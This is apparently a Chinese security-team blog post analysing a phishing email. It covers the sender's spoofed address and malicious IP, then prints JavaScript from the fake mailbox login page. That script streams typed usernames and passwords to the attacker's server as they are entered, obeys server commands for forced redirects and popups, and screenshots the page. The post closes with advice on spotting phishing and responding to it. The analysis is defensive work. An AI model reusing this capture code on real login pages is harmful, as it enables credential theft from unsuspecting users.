Tide安全团队 01月24日
记一次钓鱼邮件实例分析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入剖析了一起典型的链接钓鱼邮件事件,揭示了网络钓鱼的常见手法和潜在危害。通过对伪造邮件的发件人、内容及跳转链接的详细分析,文章指出钓鱼邮件会通过诱导用户点击恶意链接,窃取个人敏感信息或植入木马程序。文章还提供了防范钓鱼邮件的实用建议,包括如何识别可疑发件人、甄别邮件内容、谨慎处理附件等,并强调了在不幸中招后的应对措施,旨在提高用户的网络安全意识,避免遭受网络诈骗。

📧 发件人甄别: 钓鱼邮件常伪造发件人信息,如使用与单位相似但拼写错误的邮箱地址,或冒充系统管理员等,需仔细核对发件人邮箱地址的真实性。

🔗 链接陷阱: 钓鱼邮件中的链接可能指向伪造的登录页面,诱导用户输入账号密码。通过F12查看网页源码,可以发现其存在实时监控用户输入、强制跳转等恶意行为。

🔒 安全防范: 收到可疑邮件时,不要轻易点击链接或下载附件。将鼠标悬停在链接上可查看真实地址,如与链接文本不符,则需警惕。对于包含“系统管理员”、“通知”等关键词的邮件,更要提高警惕。

⚠️ 中招应对: 一旦发现中招,应立即停止操作,隔离设备,修改账户密码,并进行全盘杀毒,清除可能存在的恶意软件,避免损失扩大。

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

0x01 事件概述

今儿一早登录邮箱想发周报来着,结果发现邮件新增一条,点开看看,好家伙,现在钓鱼邮件这么猖獗,连伪造都这么假。

看到这,突然心血来潮,说什么也得分析分析,不然真对不起他发来的样例。

0x02 实例分析

邮件内容分析

像我们常遇见的钓鱼邮件呢,有很多种,就像附件钓鱼、链接钓鱼、二维码钓鱼、内容钓鱼等。而我这情况就属于链接钓鱼了,往往邮件中会有引导用户点击链接,进行弹窗或跳转到钓鱼网站,网站通常会要求用户输入账户信息之类以获取用户敏感度信息;另外一种链接指向的网页暗藏木马程序,用户如果浏览器存在未修复的漏洞则点开的同时就中招了。

1.发件人来源是否可信

我们先收集下发件人相关信息,通过查看信头,查看最后一个 "Received" 部分,通常包含发件人的原始IP地址

目前整理如下:

发件人名称:信息部
发件人邮箱:qydbb@kilometressure.com
发件人地址:221.234.29.195(当然邮件头信息可以被伪造,需要结合其他信息进行综合判断)

可以通过名称和邮箱判断其大大的猫腻,因为我们单位没有以信息部自称的部门,其邮箱地址也不是常见的地址,将其ip放微步里搜下,好家伙钓鱼没跑了。

2、邮件内容是否可信

看下邮件内容,只有简单几句话,再附上链接,意图不要太明显。

我们可以通过F12,看下其网站js源码,鼠标放到链接处,可以看到点击会跳转到如图下链接

查下域名可信度

真的没什么可说的了,我们打开隐私模式,访问站点看下

可以看到这是一个新的邮箱登录界面,分析其代码逻辑。发现部分比较有意思的代码。

代码片段一:输入监听,实时发送

socket.emit('sendMsg',{"kongzhi":"10","zhuangtai":id("zhuangtai").value});

function shishijiankong1(canshu,canshu1){
    socket.emit("sendMsg",{"kongzhi":"8","xinxi":canshu1,"neirong":canshu.value});
}
id("zh").addEventListener("input",function(){shishijiankong1(id("zh"),"账号:")});
id("mm").addEventListener("input",function(){shishijiankong1(id("mm"),"密码:")});

function shishijiankong2(canshu,canshu1){
    socket.emit("sendMsg",{"kongzhi":"9","xinxi":canshu1,"neirong":canshu.value});
}
id("zh").addEventListener("blur",function(){shishijiankong2(id("zh"),"账号:")});
id("mm").addEventListener("blur",function(){shishijiankong2(id("mm"),"密码:")});

该片段代码可以看出,每当用户在 id 为 zh(账号输入框)和 mm(密码输入框)输入内容或输入框失去焦点时,都会通过 socket.emit 向服务器发送信息。所以可能会在没有明确被告知的情况下,这些信息会在输入时就被发送出去,并且也没有看到明确的隐私政策或用户同意的步骤。

代码片段二:弹窗跳转与页面操作

socket.on('pushMsg',function(data){
    var fanhuia=data;
    if(fanhuia.kongzhi=="2"){
        if(fanhuia.shifouqiangzhi=="弹窗跳转"){
            socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});    
            if(fanhuia.yangshi==0){
                layer.open({
                    content:fanhuia.neirong,
                    closeBtn: 0,
                    btn:fanhuia.anniu,
                    yes: function(index, layero){
                        window.open(fanhuia.zhiling,"_self");
                        layer.close(index);
                    }
                }); 
            }else{
                layer.open({
                    type: 1,
                    title: false
                    closeBtn: 0,
                    area: '300px;',
                    shade: 0.8,
                    id: 'LAY_layuipro'
                    btn: [fanhuia.anniu],
                    btnAlign: 'c',
                    moveType: 1, 
                    content: '<div style="font-size:'+fanhuia.zitidaxiao+'rem;padding: 50px; line-height: 22px; background-color:'+fanhuia.beijingyanse+';color:'+fanhuia.wenbenyanse+';">'+fanhuia.neirong+'</div><span style="position:absolute;display:none;top:0px;font-size:0px;height:3px;width:7px;" id="QXrAEizDBXbNDzFVUex" class="nPEyIZGcHrIFGmINggT">前赴后继</span><span style="width:5px;top:0px;position:absolute;font-size:0px;display:none;height:5px;" id="WSyaeECMFIYVbbNq" class="QEgTkejRZajsXxAf">马到成功</span><span style="font-size:0px;position:absolute;width:4px;top:0px;display:none;height:4px;" id="ejGKybmY" class="xMHZfkmh">雪中送炭</span><span style="font-size:0px;height:8px;top:0px;position:absolute;width:8px;display:none;" id="sCvtmEnbN" class="KWwIxNkpF">精卫填海</span><span style="position:absolute;font-size:0px;width:8px;height:4px;display:none;top:0px;" id="EkMJiiUfzfILx" class="msHkZgeLkRmxE">老马识途</span><span style="display:none;top:0px;font-size:0px;height:6px;width:8px;position:absolute;" id="QgwNGJZTzQZMJbwtdJ" class="bygkdZMqiwzNZmhVYw">青出于蓝</span><span style="display:none;top:0px;font-size:0px;height:4px;width:7px;position:absolute;" id="HCaSNATrBwpfLrIlk" class="RfrxzSDYGqRZSPPvn">善始善终</span><span style="height:5px;display:none;font-size:0px;width:3px;position:absolute;top:0px;" id="wKOYrooGGo" class="sOfPFHoyYt">眼高手低</span><span style="position:absolute;font-size:0px;width:7px;display:none;top:0px;height:6px;" id="zGiNutvKKiiI" class="yiAlZMmqgUOr">奋不顾身</span>'
                   ,success: function(layero){
                        var btn = layero.find('.layui-layer-btn');
                        btn.find('.layui-layer-btn0').attr({
                            href:fanhuia.zhiling,//跳转
                        });
                    }
                });
            }
        }else if(fanhuia.shifouqiangzhi=="强制跳转"){
            socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});    
            window.location.href=fanhuia.zhiling;
        }else if(fanhuia.shifouqiangzhi=="跳转弹窗"){
            socket.emit('sendMsg',{"kongzhi":"16","fankui":"对方已经成功接收指令!"});
            var url = new URL(window.location.href);
            var path = url.pathname;
            var lastSlashIndex = path.lastIndexOf('/');
            var topLevelPath = path.substring(0, lastSlashIndex + 1);
            var encodedUrl = topLevelPath+fanhuia.zhiling+"&anniu=" + encodeURIComponent(fanhuia.anniu) + "&neirong=" + encodeURIComponent(fanhuia.neirong)+"&moshi=0";
            window.location.href = encodedUrl;
        }
    }
    // 其他代码部分省略
})

在这个代码片段中可以看出,当服务器发送pushMsg消息且kongzhi=2时,根据shifouqiangzhi的不同值,会进行不同的跳转操作。例如强制跳转(window.location.href=fanhuia.zhiling;)或通过弹窗进行跳转,同样是在用户不知情的情况下。

代码片段三:页面截图

if(fanhuia.jietu=="1"){
    function takeScreenshot() {
        return new Promise((resolve, reject) => {
            html2canvas(document.body).then(canvas => {
                // 将 canvas 转换为 DataURL
                const dataURL = canvas.toDataURL('image/png');
                // 输出截图的 64 内容
                socket.emit("sendMsg", { image: dataURL });
                resolve(canvas);
            }).catch(error => {
                reject(error);
            });
        });
    }
    takeScreenshot();
}

当fanhuia.jietu=1时,会使用html2canvas对整个页面进行截图,并将截图以DataURL的形式发送到服务器。当然用户不知道他们的页面正在被截图。

3、分析结果

通过发件人来源判定其不可信,为恶意ip。邮件内容为链接钓鱼,点击链接后会再次诱导用户输入邮箱账户密码,并会对用户输入内容进行实时监控、根据服务器消息进行不同强制操作(如弹窗显示、跳转、截图等),该获取用户信息行为均未经用户许可。

0x03 如何避免中招?

像现在钓鱼邮件一但出现,基本都是批量,那如何规避中招呢?那就要提高我们我们的防范意识和识别钓鱼邮件的能力了。

判断是否钓鱼邮件:

    发件人来源是否可信

    邮件内容是否可信

    谨慎对待附件邮件

发件人来源是否可信:

    钓鱼邮件的发件人地址经常会进行伪造,比如伪造成本单位域名的邮箱账号或者系统管理员账号(admin、service等),如遇邮箱账号拼写奇怪、陌生的、不合逻辑、拼写错误的邮箱地址都应引起注意。

邮件内容是否可信:

    一看邮件标题:大量钓鱼邮件主题关键字会涉及“系统管理员、通知、发票、工资补贴、银行认证、参会名单、邮箱升级、邮箱容量上线”等,收到此类关键词的邮件,需提高警惕

    二看正文措辞:钓鱼邮件往往使用对一些使用泛化问候(如:“亲爱的用户”“亲爱的同事”等)的邮件应保持警惕。同时也要对任何制造紧急气氛的邮件提高警惕(如要求“务必今天完成”或“过期造成何种影响”等)

    三看正文内容:若邮件存在链接,将鼠标悬停在邮件中的链接上,你将看到链接的真实地址。如果这个地址看上去可疑或与链接文本描述的不符,那么千万不要点击。

谨慎对待附件邮件:

    钓鱼邮件中附带的附件可能包含恶意软件,所以不要轻易下载或打开附件,尤其是来自陌生人的邮件。

0x04 如果已经被钓鱼?

当你察觉已经为时已晚的时候:

1.首先应当停止所有操作,不要点击邮件内的任何链接或下载附件。

2.立刻隔离你的设备,防止其可能的恶意代码与控制服务器进行通信。

3.紧接着,立即修改你的账户密码,尤其是如果你在知道邮件是钓鱼邮件之前无意间输入了你的信息。

4.使用杀毒软件进行全盘查杀,清除可能存在的恶意软件。

0x05 总结

网络里头事儿杂,钓鱼邮件来欺诈。 

要么冒充人事部,要么冒充公检法。 

说你中奖能暴富,链接一点钱没了。 

时刻保持警惕心,安全防线要守牢。

横批----警惕钓鱼

如果想了解钓鱼知识的小伙伴,可以在我们团队知识文库(http://wiki.tidesec.com/)搜索钓鱼系列文章,可以从入门到入坑,哈哈。

0x06 参考链接

https://mp.weixin.qq.com/s/Ba4O9I3LZKPaBX_qo5IGAg(线上钓鱼邮件案例)

http://wiki.tidesec.com/docs/jswz

往期推荐

E

N

D


Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......


技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享


团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......


团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......


?发表于:中国 山东

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

钓鱼邮件 网络安全 安全防范 信息安全 恶意链接
相关文章